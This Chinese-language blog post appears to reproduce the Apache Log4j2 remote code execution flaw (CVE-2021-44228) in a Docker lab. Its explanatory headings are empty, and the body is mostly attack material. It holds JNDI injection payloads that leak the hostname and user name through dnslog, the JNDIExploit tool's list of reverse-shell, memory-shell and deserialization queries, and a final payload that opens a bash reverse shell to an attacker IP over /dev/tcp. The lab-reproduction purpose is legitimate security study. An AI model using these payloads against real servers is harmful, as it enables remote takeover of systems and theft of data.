复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞
目录
前言
漏洞原理
影响范围
环境搭建&漏洞复现
使用工具JNDIExploit-1.2-SNAPSHOT.jar
前言
漏洞原理
影响范围
环境搭建&漏洞复现
sudo docker pull vulfocus/log4j2-rce-2021-12-09
sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
注入测试参数payload=${jndi:ldap://7mjkro.dnslog.cn/exp}
${jndi:ldap://${env:HOSTNAME}.66ylcg.dnslog.cn/exp}
${jndi:dns://${sys:user.name}.swr800.dnslog.cn}
使用工具JNDIExploit-1.2-SNAPSHOT.jar
参考说明:https://github.com/Jeromeyoung/JNDIExploit-1使用 java -jar JNDIExploit.jar -h 查看参数说明,其中 --ip 参数为必选参数使用 java -jar JNDIExploit.jar -u 查看支持的 LDAP 格式PS C:\Users\JieteWang\Desktop\Log4j-exp\poc> java -jar .\JNDIExploit-1.2-SNAPSHOT.jar -uSupported LADP Queries:* all words are case INSENSITIVE when send to ldap server[+] Basic Queries: ldap://null:1389/Basic/[PayloadType]/[Params], e.g.ldap://null:1389/Basic/Dnslog/[domain]ldap://null:1389/Basic/Command/[cmd]ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]ldap://null:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supportedldap://null:1389/Basic/TomcatEcholdap://null:1389/Basic/SpringEcholdap://null:1389/Basic/WeblogicEcholdap://null:1389/Basic/TomcatMemshell1ldap://null:1389/Basic/TomcatMemshell2 ---need extra header [shell: true]ldap://null:1389/Basic/JettyMemshellldap://null:1389/Basic/WeblogicMemshell1ldap://null:1389/Basic/WeblogicMemshell2ldap://null:1389/Basic/JBossMemshellldap://null:1389/Basic/WebsphereMemshellldap://null:1389/Basic/SpringMemshell[+] Deserialize Queries: ldap://null:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.ldap://null:1389/Deserialization/URLDNS/[domain]ldap://null:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]ldap://null:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]ldap://null:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supportedldap://null:1389/Deserialization/CommonsBeanutils2/TomcatEcholdap://null:1389/Deserialization/C3P0/SpringEcholdap://null:1389/Deserialization/Jdk7u21/WeblogicEcholdap://null:1389/Deserialization/Jre8u20/TomcatMemshellldap://null:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1ldap://null:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells[+] TomcatBypass Queriesldap://null:1389/TomcatBypass/Dnslog/[domain]ldap://null:1389/TomcatBypass/Command/[cmd]ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]ldap://null:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supportedldap://null:1389/TomcatBypass/TomcatEcholdap://null:1389/TomcatBypass/SpringEcholdap://null:1389/TomcatBypass/TomcatMemshell1ldap://null:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]ldap://null:1389/TomcatBypass/SpringMemshell[+] GroovyBypass Queriesldap://null:1389/GroovyBypass/Command/[cmd]ldap://null:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd][+] WebsphereBypass Queriesldap://null:1389/WebsphereBypass/List/file=[file or directory]ldap://null:1389/WebsphereBypass/Upload/Dnslog/[domain]ldap://null:1389/WebsphereBypass/Upload/Command/[cmd]ldap://null:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]ldap://null:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supportedldap://null:1389/WebsphereBypass/Upload/WebsphereMemshellldap://null:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
java -jar .\JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.101.21
文章来源:https://www.toymoban.com/news/detail-448412.html
文章来源地址https://www.toymoban.com/news/detail-448412.html
${jndi: ldap://192.168.101.21:1389/TomcatBypass/Command/Base64/bash -i >& /dev/tcp/192.168.163.129/9990 0>&1}
![复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞](https://imgs.yssmx.com/Uploads/2023/05/448412-14.png)
![复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞](https://imgs.yssmx.com/Uploads/2023/05/448412-15.png)
![复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞](https://imgs.yssmx.com/Uploads/2023/05/448412-16.png)
![复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞](https://imgs.yssmx.com/Uploads/2023/05/448412-17.png)
![复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞](https://imgs.yssmx.com/Uploads/2023/05/448412-18.png)
![复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞](https://imgs.yssmx.com/Uploads/2023/05/448412-19.png)
到了这里,关于复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!